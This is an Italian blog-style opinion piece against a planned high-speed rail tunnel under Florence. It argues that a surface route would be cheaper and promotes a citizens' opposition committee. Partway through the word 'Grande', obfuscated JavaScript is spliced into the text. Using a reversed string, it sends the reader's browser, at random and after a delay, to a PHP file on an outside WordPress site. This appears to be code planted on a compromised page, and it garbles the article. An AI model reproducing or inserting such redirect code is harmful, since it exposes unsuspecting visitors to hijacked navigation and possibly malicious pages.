Fuori dal tunnel!

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Hanno deciso di farlo a tutti i costi, ambientali, sociali ma soprattutto economici. Oltre un miliardo e trecento milioni di euro per costruire un doppio tunnel sotterraneo tra Campo di Marte e Rifredi, utile, a sentire gli amministratori, a far passare i treni ad Alta Velocità. Le alternative non sono state considerate, eppure ce ne sarebbero. A partire dal passaggio in superficie, per cui basterebbe allargare l’attuale sede ferroviaria per far spazio ad un altro binario. Si risparmierebbe così circa un miliardo e potrebbe svilupparsi una felice integrazione tra Alta Velocità e trasporto pendolare. Invece no, si insiste col tunnel. Una spesa enorme a scapito del bilancio dello Stato per favorire gli interessi delle solite imprese costruttrici. Quanto sarebbe più utile investire quel miliardo nella mobilità generale della città, per risolvere i problemi di traffico e inquinamento? Ma niente dà alla testa come la Gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande Opera, seppure inutile e dannosa. A Firenze però i cittadini non dormono. Da secoli abituati a dire la propria ai politici incapaci, oggi i fiorentini utilizzano internet e la posta elettronica per organizzarsi. è nato così il Comitato contro il sottoattraversamento dell’Alta Velocità (www.notavfirenze.blogspot.com) che ha coinvolto ingegneri, architetti, geologi, per dimostrare alla città che un’alternativa di superficie è possibile, senza provocare danni alla falda idrica e ai palazzi, ma soprattutto evitando uno spreco indicibile di risorse pubbliche e almeno dieci anni di Tir pieni di terra per le strade della città.

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